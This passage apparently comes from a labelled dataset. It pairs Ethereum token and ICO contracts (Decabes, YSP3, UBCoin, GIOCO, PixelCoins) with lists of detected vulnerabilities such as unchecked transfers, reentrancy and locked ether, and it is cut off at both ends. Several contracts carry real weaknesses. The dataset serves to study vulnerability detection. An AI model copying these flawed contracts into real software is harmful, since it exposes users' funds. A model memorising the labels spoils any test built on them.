function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) reentrancy-no-eth with Medium impact
3) unused-return with Medium impact
4) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Decabes' token contract
//
// Deployed to : 0x5130ADAD8C86AF52743988293F484428a7C2402a
// Symbol : DEC
// Name : Decabes
// Total supply: 100000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Decabes is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Decabes() public {
symbol = "DEC";
name = "Decabes";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x5130ADAD8C86AF52743988293F484428a7C2402a] = _totalSupply;
Transfer(address(0), 0x5130ADAD8C86AF52743988293F484428a7C2402a, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) view public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[msg.sender] = SafeMath.safeSub(_balances[msg.sender], _value);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[_from]);
require(_value <= _allowed[_from][msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
_balances[_from] = SafeMath.safeSub(_balances[_from], _value);
_allowed[_from][msg.sender] = SafeMath.safeSub(_allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return _balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (_allowed[msg.sender][_spender] == 0));
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return _allowed[_owner][_spender];
}
}
contract YSP3Token is StandardToken {
function () public payable {
revert();
}
string public name = "YSP3";
uint8 public decimals = 18;
string public symbol = "YSP3";
uint256 public totalSupply = 10000000*10**uint256(decimals);
constructor() public {
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier notLocked() {
require(msg.sender == owner || msg.sender == saleAgent || mintingFinished);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
// File: contracts/FreezeTokensWallet.sol
contract FreezeTokensWallet is Ownable {
using SafeMath for uint256;
MintableToken public token;
bool public started;
uint public startLockPeriod = 180 days;
uint public period = 360 days;
uint public duration = 90 days;
uint public startUnlock;
uint public retrievedTokens;
uint public startBalance;
modifier notStarted() {
require(!started);
_;
}
function setPeriod(uint newPeriod) public onlyOwner notStarted {
period = newPeriod * 1 days;
}
function setDuration(uint newDuration) public onlyOwner notStarted {
duration = newDuration * 1 days;
}
function setStartLockPeriod(uint newStartLockPeriod) public onlyOwner notStarted {
startLockPeriod = newStartLockPeriod * 1 days;
}
function setToken(address newToken) public onlyOwner notStarted {
token = MintableToken(newToken);
}
function start() public onlyOwner notStarted {
startUnlock = now + startLockPeriod;
retrievedTokens = 0;
startBalance = token.balanceOf(this);
started = true;
}
function retrieveTokens(address to) public onlyOwner {
require(started && now >= startUnlock);
if (now >= startUnlock + period) {
token.transfer(to, token.balanceOf(this));
} else {
uint parts = period.div(duration);
uint tokensByPart = startBalance.div(parts);
uint timeSinceStart = now.sub(startUnlock);
uint pastParts = timeSinceStart.div(duration);
uint tokensToRetrieveSinceStart = pastParts.mul(tokensByPart);
uint tokensToRetrieve = tokensToRetrieveSinceStart.sub(retrievedTokens);
if(tokensToRetrieve > 0) {
retrievedTokens = retrievedTokens.add(tokensToRetrieve);
token.transfer(to, tokensToRetrieve);
}
}
}
}
// File: contracts/InvestedProvider.sol
contract InvestedProvider is Ownable {
uint public invested;
}
// File: contracts/PercentRateProvider.sol
contract PercentRateProvider is Ownable {
uint public percentRate = 100;
function setPercentRate(uint newPercentRate) public onlyOwner {
percentRate = newPercentRate;
}
}
// File: contracts/RetrieveTokensFeature.sol
contract RetrieveTokensFeature is Ownable {
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
// File: contracts/WalletProvider.sol
contract WalletProvider is Ownable {
address public wallet;
function setWallet(address newWallet) public onlyOwner {
wallet = newWallet;
}
}
// File: contracts/CommonSale.sol
contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature {
using SafeMath for uint;
address public directMintAgent;
uint public price;
uint public start;
uint public minInvestedLimit;
MintableToken public token;
uint public hardcap;
modifier isUnderHardcap() {
require(invested < hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner {
hardcap = newHardcap;
}
modifier onlyDirectMintAgentOrOwner() {
require(directMintAgent == msg.sender || owner == msg.sender);
_;
}
modifier minInvestLimited(uint value) {
require(value >= minInvestedLimit);
_;
}
function setStart(uint newStart) public onlyOwner {
start = newStart;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner {
minInvestedLimit = newMinInvestedLimit;
}
function setDirectMintAgent(address newDirectMintAgent) public onlyOwner {
directMintAgent = newDirectMintAgent;
}
function setPrice(uint newPrice) public onlyOwner {
price = newPrice;
}
function setToken(address newToken) public onlyOwner {
token = MintableToken(newToken);
}
function calculateTokens(uint _invested) internal returns(uint);
function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner {
mintTokens(to, tokens);
}
function mintTokens(address to, uint tokens) internal {
token.mint(this, tokens);
token.transfer(to, tokens);
}
function endSaleDate() public view returns(uint);
function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) {
return mintTokensByETH(to, _invested);
}
function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) {
invested = invested.add(_invested);
uint tokens = calculateTokens(_invested);
mintTokens(to, tokens);
return tokens;
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
wallet.transfer(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
function () public payable {
fallback();
}
}
// File: contracts/StagedCrowdsale.sol
contract StagedCrowdsale is Ownable {
using SafeMath for uint;
struct Milestone {
uint period;
uint bonus;
}
uint public totalPeriod;
Milestone[] public milestones;
function milestonesCount() public view returns(uint) {
return milestones.length;
}
function addMilestone(uint period, uint bonus) public onlyOwner {
require(period > 0);
milestones.push(Milestone(period, bonus));
totalPeriod = totalPeriod.add(period);
}
function removeMilestone(uint8 number) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
delete milestones[number];
for (uint i = number; i < milestones.length - 1; i++) {
milestones[i] = milestones[i+1];
}
milestones.length--;
}
function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner {
require(number < milestones.length);
Milestone storage milestone = milestones[number];
totalPeriod = totalPeriod.sub(milestone.period);
milestone.period = period;
milestone.bonus = bonus;
totalPeriod = totalPeriod.add(period);
}
function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner {
require(numberAfter < milestones.length);
totalPeriod = totalPeriod.add(period);
milestones.length++;
for (uint i = milestones.length - 2; i > numberAfter; i--) {
milestones[i + 1] = milestones[i];
}
milestones[numberAfter + 1] = Milestone(period, bonus);
}
function clearMilestones() public onlyOwner {
require(milestones.length > 0);
for (uint i = 0; i < milestones.length; i++) {
delete milestones[i];
}
milestones.length -= milestones.length;
totalPeriod = 0;
}
function lastSaleDate(uint start) public view returns(uint) {
return start + totalPeriod * 1 days;
}
function currentMilestone(uint start) public view returns(uint) {
uint previousDate = start;
for(uint i=0; i < milestones.length; i++) {
if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) {
return i;
}
previousDate = previousDate.add(milestones[i].period * 1 days);
}
revert();
}
}
// File: contracts/ICO.sol
contract ICO is StagedCrowdsale, CommonSale {
FreezeTokensWallet public teamTokensWallet;
address public bountyTokensWallet;
address public reservedTokensWallet;
uint public teamTokensPercent;
uint public bountyTokensPercent;
uint public reservedTokensPercent;
function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner {
teamTokensPercent = newTeamTokensPercent;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner {
bountyTokensPercent = newBountyTokensPercent;
}
function setReservedTokensPercent(uint newReservedTokensPercent) public onlyOwner {
reservedTokensPercent = newReservedTokensPercent;
}
function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner {
teamTokensWallet = FreezeTokensWallet(newTeamTokensWallet);
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner {
bountyTokensWallet = newBountyTokensWallet;
}
function setReservedTokensWallet(address newReservedTokensWallet) public onlyOwner {
reservedTokensWallet = newReservedTokensWallet;
}
function calculateTokens(uint _invested) internal returns(uint) {
uint milestoneIndex = currentMilestone(start);
Milestone storage milestone = milestones[milestoneIndex];
uint tokens = _invested.mul(price).div(1 ether);
if(milestone.bonus > 0) {
tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate));
}
return tokens;
}
function finish() public onlyOwner {
uint summaryTokensPercent = bountyTokensPercent.add(teamTokensPercent).add(reservedTokensPercent);
uint mintedTokens = token.totalSupply();
uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent));
uint foundersTokens = allTokens.mul(teamTokensPercent).div(percentRate);
uint bountyTokens = allTokens.mul(bountyTokensPercent).div(percentRate);
uint reservedTokens = allTokens.mul(reservedTokensPercent).div(percentRate);
mintTokens(teamTokensWallet, foundersTokens);
mintTokens(bountyTokensWallet, bountyTokens);
mintTokens(reservedTokensWallet, reservedTokens);
token.finishMinting();
teamTokensWallet.start();
teamTokensWallet.transferOwnership(owner);
}
function endSaleDate() public view returns(uint) {
return lastSaleDate(start);
}
}
// File: contracts/NextSaleAgentFeature.sol
contract NextSaleAgentFeature is Ownable {
address public nextSaleAgent;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner {
nextSaleAgent = newNextSaleAgent;
}
}
// File: contracts/WhiteListFeature.sol
contract WhiteListFeature is CommonSale {
mapping(address => bool) public whiteList;
function addToWhiteList(address _address) public onlyDirectMintAgentOrOwner {
whiteList[_address] = true;
}
function deleteFromWhiteList(address _address) public onlyDirectMintAgentOrOwner {
whiteList[_address] = false;
}
}
// File: contracts/PreICO.sol
contract PreICO is NextSaleAgentFeature, WhiteListFeature {
uint public period;
function calculateTokens(uint _invested) internal returns(uint) {
return _invested.mul(price).div(1 ether);
}
function setPeriod(uint newPeriod) public onlyOwner {
period = newPeriod;
}
function finish() public onlyOwner {
token.setSaleAgent(nextSaleAgent);
}
function endSaleDate() public view returns(uint) {
return start.add(period * 1 days);
}
function fallback() internal minInvestLimited(msg.value) returns(uint) {
require(now >= start && now < endSaleDate());
require(whiteList[msg.sender]);
wallet.transfer(msg.value);
return mintTokensByETH(msg.sender, msg.value);
}
}
// File: contracts/ReceivingContractCallback.sol
contract ReceivingContractCallback {
function tokenFallback(address _from, uint _value) public;
}
// File: contracts/UBCoinToken.sol
contract UBCoinToken is MintableToken {
string public constant name = "UBCoin";
string public constant symbol = "UBC";
uint32 public constant decimals = 18;
mapping(address => bool) public registeredCallbacks;
function transfer(address _to, uint256 _value) public returns (bool) {
return processCallback(super.transfer(_to, _value), msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value);
}
function registerCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = true;
}
function deregisterCallback(address callback) public onlyOwner {
registeredCallbacks[callback] = false;
}
function processCallback(bool result, address from, address to, uint value) internal returns(bool) {
if (result && registeredCallbacks[to]) {
ReceivingContractCallback targetCallback = ReceivingContractCallback(to);
targetCallback.tokenFallback(from, value);
}
return result;
}
}
// File: contracts/Configurator.sol
contract Configurator is Ownable {
MintableToken public token;
PreICO public preICO;
ICO public ico;
FreezeTokensWallet public teamTokensWallet;
function deploy() public onlyOwner {
token = new UBCoinToken();
preICO = new PreICO();
preICO.setWallet(0x00EE9d057f66754C7D92550F77Aeb0A87AE34B01);
preICO.setStart(1520640000); // 10 Mar 2018 00:00:00 GMT
preICO.setPeriod(22);
preICO.setPrice(33334000000000000000000);
preICO.setMinInvestedLimit(100000000000000000);
preICO.setToken(token);
preICO.setHardcap(8500000000000000000000);
token.setSaleAgent(preICO);
ico = new ICO();
ico.addMilestone(20, 40);
ico.addMilestone(20, 20);
ico.addMilestone(20, 0);
ico.setMinInvestedLimit(100000000000000000);
ico.setToken(token);
ico.setPrice(14286000000000000000000);
ico.setWallet(0x5FB78D8B8f1161731BC80eF93CBcfccc5783356F);
ico.setBountyTokensWallet(0xdAA156b6eA6b9737eA20c68Db4040B1182E487B6);
ico.setReservedTokensWallet(0xE1D1898660469797B22D348Ff67d54643d848295);
ico.setStart(1522627200); // 02 Apr 2018 00:00:00 GMT
ico.setHardcap(96000000000000000000000);
ico.setTeamTokensPercent(12);
ico.setBountyTokensPercent(4);
ico.setReservedTokensPercent(34);
teamTokensWallet = new FreezeTokensWallet();
teamTokensWallet.setStartLockPeriod(180);
teamTokensWallet.setPeriod(360);
teamTokensWallet.setDuration(90);
teamTokensWallet.setToken(token);
teamTokensWallet.transferOwnership(ico);
ico.setTeamTokensWallet(teamTokensWallet);
preICO.setNextSaleAgent(ico);
address manager = 0xF1f94bAD54C8827C3B53754ad7dAa0FF5DCD527d;
token.transferOwnership(manager);
preICO.transferOwnership(manager);
ico.transferOwnership(manager);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) reentrancy-no-eth with Medium impact
3) unchecked-transfer with High impact
4) unused-return with Medium impact
5) locked-ether with Medium impact |
pragma solidity ^0.4.19;
contract BaseToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract ICOToken is BaseToken {
// 1 ether = icoRatio token
uint256 public icoRatio;
uint256 public icoBegintime;
uint256 public icoEndtime;
address public icoSender;
address public icoHolder;
event ICO(address indexed from, uint256 indexed value, uint256 tokenValue);
event Withdraw(address indexed from, address indexed holder, uint256 value);
function ico() public payable {
require(now >= icoBegintime && now <= icoEndtime);
uint256 tokenValue = (msg.value * icoRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei);
if (tokenValue == 0 || balanceOf[icoSender] < tokenValue) {
revert();
}
_transfer(icoSender, msg.sender, tokenValue);
ICO(msg.sender, msg.value, tokenValue);
}
function withdraw() public {
uint256 balance = this.balance;
icoHolder.transfer(balance);
Withdraw(msg.sender, icoHolder, balance);
}
}
contract CustomToken is BaseToken, ICOToken {
function CustomToken() public {
totalSupply = 1000000000000000000000000000;
name = 'GIOCO';
symbol = 'GIC';
decimals = 18;
balanceOf[0x516dc06b3940c3f3c30bf7480c893625f74cc2ca] = totalSupply;
Transfer(address(0), 0x516dc06b3940c3f3c30bf7480c893625f74cc2ca, totalSupply);
icoRatio = 20000;
icoBegintime = 1522555200;
icoEndtime = 1554091200;
icoSender = 0x76ac1eaf8530ef25011bdf9873ab72e3d5d08d4b;
icoHolder = 0x76ac1eaf8530ef25011bdf9873ab72e3d5d08d4b;
}
function() public payable {
ico();
}
} | No vulnerabilities found |
// PixelCoins Source code
pragma solidity ^0.4.11;
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
